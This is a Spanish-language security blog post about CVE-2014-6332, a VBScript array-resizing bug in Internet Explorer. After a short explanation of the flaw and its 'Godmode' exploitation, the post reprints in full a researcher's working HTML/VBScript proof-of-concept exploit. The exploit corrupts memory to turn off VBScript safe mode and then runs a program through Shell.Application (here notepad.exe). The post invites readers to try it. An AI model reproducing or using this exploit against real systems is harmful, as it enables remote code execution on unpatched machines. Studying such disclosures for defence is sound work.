PoC permite la ejecución remota de código en todas las versiones de IE (no parcheadas): CVE-2014-6332

Si sois de este mundillo seguro que tenéis presente que hace muy poco Micro$oft publicó un parche de seguridad para solucionar una vulnerabilidad presente en Internet Explorer 3.0, es decir hace 19 años, y que se ha ido heredando por todas las versiones posteriores de este navegador hasta que el 11 de noviembre de 2014 se publicó el boletín MS14-064 que la solucionaba.

Catalogada como CVE-2014-6332 tiene una puntuación de 9,3 sobre 10 en el CVSS (Common Vulnerability Scoring System), permite la ejecución de código remoto sin autorización del usuario y es incluso capaz de evadir el sandbox EPM (Enhanced Protected Mode) en IE11 y las protecciones de EMET.

El bug es causado por el incorrecto manejo del motor de VBScript del navegador al redimensionar arrays. VBScript.dll contiene un método de evaluación en tiempo de ejecución que mediante OleAut32.dll llama a la función SafeArrayRedim() para cambiar el tamaño del array. Sin embargo, si se produce un error, el tamaño no se resetea antes de regresar a la función de llamada, VBScript!CScriptRuntime::Run():



En VBScript, la explotación de este bug podría haberse evitado quitando el "On Error Resume Next" del código cuando la biblioteca OLEAUT32 devuelve un error. Como no es así es posible provocar un desbordamiento.

Además, ésto puede explotarse fácilmente gracias al denominado "Godmode", un flag que permite al navegador ejecutar VBScript sin restricciones como si fuera un shell local por lo que no es necesario preparar un payload y protecciones como DEP, ASLR y CFI no son aplicables.

Pues bien, recientemente el investigador chino Yuange1975 (adivinar cuantos añitos tiene Xd) ha publicado una PoC que permite escribir fácilmente código VBScript para comprometer equipos no parcheados. A continuación véase el código para probarlo, si bien un buen antivirus/malware debería detectarlo:


//*
   allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
   https://twitter.com/yuange75
   http://http://hi.baidu.com/yuange1975

*//

<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function

</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function
           
  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()                  
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)  
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function


function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0        
              redim  Preserve aa(a2)          
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)

     j=0
              j=readmemo(i+&h120+k)
       
               Exit for
           end if

    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0)
    redim   ab(a0)  

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
       
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16          
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then  
                 If(IsObject(aa(a1)) = False ) Then          
                   type1=VarType(aa(a1))
                 end if            
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if
        else
           if(vartype(aa(a1-1))<>0)  Then  
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if            
            end if
        end if
    end if
           
 
    If(type1=&h2f66) Then      
          Over=True    
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)        
     
end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4  
    ab(0)=1.69759663316747E-313    
    ReadMemo=lenb(aa(a1))
 
    ab(0)=0  

    redim  Preserve aa(a0)
end function

</script>

</body>
</html>

Fuentes:
- IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows
- Detectado el uso “in-the-wild” de la vulnerabilidad en Internet Explorer
- A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332

Comentarios

  1. Hola, que significa poc y php? Como las utilizo? Disculpe mi ignorancia

    ResponderEliminar
  2. PoC = Prueba de Concepto
    PHP = es un lenguaje de programación de uso general de código del lado del servidor originalmente diseñado para el desarrollo web de contenido dinámico. (http://es.wikipedia.org/wiki/PHP)

    ResponderEliminar
  3. Gracias, y donde probaria ese codigo que publicaste en la nota? He visto muchos codigos en otras notas, hay un programa en especifico? Desde ya muchísimas gracias

    ResponderEliminar

Publicar un comentario